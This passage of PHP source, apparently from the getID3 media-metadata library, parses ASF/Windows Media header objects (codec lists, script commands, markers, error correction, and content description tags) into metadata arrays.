GETID3_ASF_Codec_List_Object // Object Size QWORD 64 // size of Codec List object, including 44 bytes of Codec List Object header // Reserved GUID 128 // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6 // Codec Entries Count DWORD 32 // number of entries in Codec Entries array // Codec Entries array of: variable // // * Type WORD 16 // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec // * Codec Name Length WORD 16 // number of Unicode characters stored in the Codec Name field // * Codec Name WCHAR variable // array of Unicode characters - name of codec used to create the content // * Codec Description Length WORD 16 // number of Unicode characters stored in the Codec Description field // * Codec Description WCHAR variable // array of Unicode characters - description of format used to create the content // * Codec Information Length WORD 16 // number of Unicode characters stored in the Codec Information field // * Codec Information BYTESTREAM variable // opaque array of information bytes about the codec used to create the content // shortcut $thisfile_asf['codec_list_object'] = array(); $thisfile_asf_codeclistobject = &$thisfile_asf['codec_list_object']; $thisfile_asf_codeclistobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_codeclistobject['objectid'] = $NextObjectGUID; $thisfile_asf_codeclistobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_codeclistobject['objectsize'] = $NextObjectSize; $thisfile_asf_codeclistobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_codeclistobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']); if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) { $this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}'); //return false; break; } $thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) { // shortcut $thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array(); $thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter]; $thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']); $CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength); $offset += $CodecNameLength; $CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength); $offset += $CodecDescriptionLength; $CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength); $offset += $CodecInformationLength; if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) { $this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"'); } else { list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description'])); $thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']); if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) { $thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000; } //if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) { if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) { //$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate']; $thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate']; } $AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency)); switch ($AudioCodecFrequency) { case 8: case 8000: $thisfile_audio['sample_rate'] = 8000; break; case 11: case 11025: $thisfile_audio['sample_rate'] = 11025; break; case 12: case 12000: $thisfile_audio['sample_rate'] = 12000; break; case 16: case 16000: $thisfile_audio['sample_rate'] = 16000; break; case 22: case 22050: $thisfile_audio['sample_rate'] = 22050; break; case 24: case 24000: $thisfile_audio['sample_rate'] = 24000; break; case 32: case 32000: $thisfile_audio['sample_rate'] = 32000; break; case 44: case 441000: $thisfile_audio['sample_rate'] = 44100; break; case 48: case 48000: $thisfile_audio['sample_rate'] = 48000; break; default: $this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')'); break; } if (!isset($thisfile_audio['channels'])) { if (strstr($AudioCodecChannels, 'stereo')) { $thisfile_audio['channels'] = 2; } elseif (strstr($AudioCodecChannels, 'mono')) { $thisfile_audio['channels'] = 1; } } } } } break; case GETID3_ASF_Script_Command_Object: // Script Command Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Script Command object - GETID3_ASF_Script_Command_Object // Object Size QWORD 64 // size of Script Command object, including 44 bytes of Script Command Object header // Reserved GUID 128 // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6 // Commands Count WORD 16 // number of Commands structures in the Script Commands Objects // Command Types Count WORD 16 // number of Command Types structures in the Script Commands Objects // Command Types array of: variable // // * Command Type Name Length WORD 16 // number of Unicode characters for Command Type Name // * Command Type Name WCHAR variable // array of Unicode characters - name of a type of command // Commands array of: variable // // * Presentation Time DWORD 32 // presentation time of that command, in milliseconds // * Type Index WORD 16 // type of this command, as a zero-based index into the array of Command Types of this object // * Command Name Length WORD 16 // number of Unicode characters for Command Name // * Command Name WCHAR variable // array of Unicode characters - name of this command // shortcut $thisfile_asf['script_command_object'] = array(); $thisfile_asf_scriptcommandobject = &$thisfile_asf['script_command_object']; $thisfile_asf_scriptcommandobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_scriptcommandobject['objectid'] = $NextObjectGUID; $thisfile_asf_scriptcommandobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_scriptcommandobject['objectsize'] = $NextObjectSize; $thisfile_asf_scriptcommandobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_scriptcommandobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']); if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) { $this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}'); //return false; break; } $thisfile_asf_scriptcommandobject['commands_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_scriptcommandobject['command_types_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) { $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); $offset += $CommandTypeNameLength; } for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) { $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); $offset += $CommandTypeNameLength; } break; case GETID3_ASF_Marker_Object: // Marker Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Marker object - GETID3_ASF_Marker_Object // Object Size QWORD 64 // size of Marker object, including 48 bytes of Marker Object header // Reserved GUID 128 // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB // Markers Count DWORD 32 // number of Marker structures in Marker Object // Reserved WORD 16 // hardcoded: 0x0000 // Name Length WORD 16 // number of bytes in the Name field // Name WCHAR variable // name of the Marker Object // Markers array of: variable // // * Offset QWORD 64 // byte offset into Data Object // * Presentation Time QWORD 64 // in 100-nanosecond units // * Entry Length WORD 16 // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding) // * Send Time DWORD 32 // in milliseconds // * Flags DWORD 32 // hardcoded: 0x00000000 // * Marker Description Length DWORD 32 // number of bytes in Marker Description field // * Marker Description WCHAR variable // array of Unicode characters - description of marker entry // * Padding BYTESTREAM variable // optional padding bytes // shortcut $thisfile_asf['marker_object'] = array(); $thisfile_asf_markerobject = &$thisfile_asf['marker_object']; $thisfile_asf_markerobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_markerobject['objectid'] = $NextObjectGUID; $thisfile_asf_markerobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_markerobject['objectsize'] = $NextObjectSize; $thisfile_asf_markerobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_markerobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']); if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) { $this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}'); break; } $thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; if ($thisfile_asf_markerobject['reserved_2'] != 0) { $this->warning('marker_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_markerobject['reserved_2']).') does not match expected value of "0"'); break; } $thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']); $offset += $thisfile_asf_markerobject['name_length']; for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) { $thisfile_asf_markerobject['markers'][$MarkersCounter]['offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['flags'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']); $offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; $PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 - 4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; if ($PaddingLength > 0) { $thisfile_asf_markerobject['markers'][$MarkersCounter]['padding'] = substr($ASFHeaderData, $offset, $PaddingLength); $offset += $PaddingLength; } } break; case GETID3_ASF_Bitrate_Mutual_Exclusion_Object: // Bitrate Mutual Exclusion Object: (optional) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object // Object Size QWORD 64 // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header // Exlusion Type GUID 128 // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown) // Stream Numbers Count WORD 16 // number of video streams // Stream Numbers WORD variable // array of mutually exclusive video stream numbers. 1 <= valid <= 127 // shortcut $thisfile_asf['bitrate_mutual_exclusion_object'] = array(); $thisfile_asf_bitratemutualexclusionobject = &$thisfile_asf['bitrate_mutual_exclusion_object']; $thisfile_asf_bitratemutualexclusionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_bitratemutualexclusionobject['objectid'] = $NextObjectGUID; $thisfile_asf_bitratemutualexclusionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_bitratemutualexclusionobject['objectsize'] = $NextObjectSize; $thisfile_asf_bitratemutualexclusionobject['reserved'] = substr($ASFHeaderData, $offset, 16); $thisfile_asf_bitratemutualexclusionobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']); $offset += 16; if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) { $this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}'); //return false; break; } $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) { $thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; } break; case GETID3_ASF_Error_Correction_Object: // Error Correction Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object // Object Size QWORD 64 // size of Error Correction object, including 44 bytes of Error Correction Object header // Error Correction Type GUID 128 // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread) // Error Correction Data Length DWORD 32 // number of bytes in Error Correction Data field // Error Correction Data BYTESTREAM variable // structure depends on value of Error Correction Type field // shortcut $thisfile_asf['error_correction_object'] = array(); $thisfile_asf_errorcorrectionobject = &$thisfile_asf['error_correction_object']; $thisfile_asf_errorcorrectionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_errorcorrectionobject['objectid'] = $NextObjectGUID; $thisfile_asf_errorcorrectionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_errorcorrectionobject['objectsize'] = $NextObjectSize; $thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']); $thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) { case GETID3_ASF_No_Error_Correction: // should be no data, but just in case there is, skip to the end of the field $offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length']; break; case GETID3_ASF_Audio_Spread: // Field Name Field Type Size (bits) // Span BYTE 8 // number of packets over which audio will be spread. // Virtual Packet Length WORD 16 // size of largest audio payload found in audio stream // Virtual Chunk Length WORD 16 // size of largest audio payload found in audio stream // Silence Data Length WORD 16 // number of bytes in Silence Data field // Silence Data BYTESTREAM variable // hardcoded: 0x00 * (Silence Data Length) bytes $thisfile_asf_errorcorrectionobject['span'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1)); $offset += 1; $thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['virtual_chunk_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['silence_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['silence_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']); $offset += $thisfile_asf_errorcorrectionobject['silence_data_length']; break; default: $this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}'); //return false; break; } break; case GETID3_ASF_Content_Description_Object: // Content Description Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Content Description object - GETID3_ASF_Content_Description_Object // Object Size QWORD 64 // size of Content Description object, including 34 bytes of Content Description Object header // Title Length WORD 16 // number of bytes in Title field // Author Length WORD 16 // number of bytes in Author field // Copyright Length WORD 16 // number of bytes in Copyright field // Description Length WORD 16 // number of bytes in Description field // Rating Length WORD 16 // number of bytes in Rating field // Title WCHAR 16 // array of Unicode characters - Title // Author WCHAR 16 // array of Unicode characters - Author // Copyright WCHAR 16 // array of Unicode characters - Copyright // Description WCHAR 16 // array of Unicode characters - Description // Rating WCHAR 16 // array of Unicode characters - Rating // shortcut $thisfile_asf['content_description_object'] = array(); $thisfile_asf_contentdescriptionobject = &$thisfile_asf['content_description_object']; $thisfile_asf_contentdescriptionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_contentdescriptionobject['objectid'] = $NextObjectGUID; $thisfile_asf_contentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_contentdescriptionobject['objectsize'] = $NextObjectSize; $thisfile_asf_contentdescriptionobject['title_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['author_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['copyright_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['rating_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['title'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']); $offset += $thisfile_asf_contentdescriptionobject['title_length']; $thisfile_asf_contentdescriptionobject['author'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']); $offset += $thisfile_asf_contentdescriptionobject['author_length']; $thisfile_asf_contentdescriptionobject['copyright'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']); $offset += $thisfile_asf_contentdescriptionobject['copyright_length']; $thisfile_asf_contentdescriptionobject['description'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']); $offset += $thisfile_asf_contentdescriptionobject['description_length']; $thisfile_asf_contentdescriptionobject['rating'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']); $offset += $thisfile_asf_contentdescriptionobject['rating_length']; $ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating'); foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) { if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) { $thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]); } } break; case GETID3_ASF_Extended_Content_Description_Object: // Extended Content Description Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object // Object Size QWORD 64 // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header // Content Descriptors Count WORD 16 // number of entries in Content Descriptors list // Content Descriptors array of: variable // // * Descriptor Name Length WORD 16 // size in bytes of Descriptor Name field // * Descriptor Name WCHAR variable // array of Unicode characters - Descriptor Name // * Descriptor Value Data Type WORD 16 // Lookup array: // 0x0000 = Unicode String (variable length) // 0x0001 = BYTE array (variable length) // 0x0002 = BOOL (DWORD, 32 bits) // 0x0003 = DWORD (DWORD, 32 bits) // 0x0004 = QWORD (QWORD, 64 bits) // 0x0005 = WORD (WORD, 16 bits) // * Descriptor Value Length WORD 16 // number of bytes stored in Descriptor Value field // * Descriptor Value variable variable // value for Content Descriptor // shortcut $thisfile_asf['extended_content_description_object'] = array(); $thisfile_asf_extendedcontentdescriptionobject = &$thisfile_asf['extended_content_description_object']; $thisfile_asf_extendedcontentdescriptionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_extendedcontentdescriptionobject['objectid'] = $NextObjectGUID; $thisfile_asf_extendedcontentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_extendedcontentdescriptionobject['objectsize'] = $NextObjectSize; $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) { // shortcut $thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array(); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter]; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset'] = $offset + 30; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']); $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']); $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']; switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { case 0x0000: // Unicode string break; case 0x0001: // BYTE array // do nothing break; case 0x0002: // BOOL $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); break; case 0x0003: // DWORD case 0x0004: // QWORD case 0x0005: // WORD $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); break; default: $this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')'); //return false; break; } switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) { case 'wm/albumartist': case 'artist': // Note: not 'artist', that comes from 'author' tag $thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/albumtitle': case 'album': $thisfile_asf_comments['album'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/genre': case 'genre': $thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/partofset': $thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/tracknumber': case 'tracknumber': // be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character) $thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); foreach ($thisfile_asf_comments['track_number'] as $key => $value) { if (preg_match('/^[0-9\x00]+$/', $value)) { $thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value)); } } break; case 'wm/track': if (empty($thisfile_asf_comments['track_number'])) { $thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); } break; case 'wm/year': case 'year': case 'date': $thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/lyrics': case 'lyrics': $thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'isvbr': if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) { $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_video['bitrate_mode'] = 'vbr'; } break; case 'id3': $this->getid3->include_module('tag.id3v2'); $getid3_id3v2 = new getid3_id3v2($this->getid3); $getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); unset($getid3_id3v2); if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = ''; } break; case 'wm/encodingtime': $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); $thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']); break; case 'wm/picture': $WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); foreach ($WMpicture as $key => $value) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value; } unset($WMpicture); /* $wm_picture_offset = 0; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1)); $wm_picture_offset += 1; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type'] = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4)); $wm_picture_offset += 4; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; do { $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); 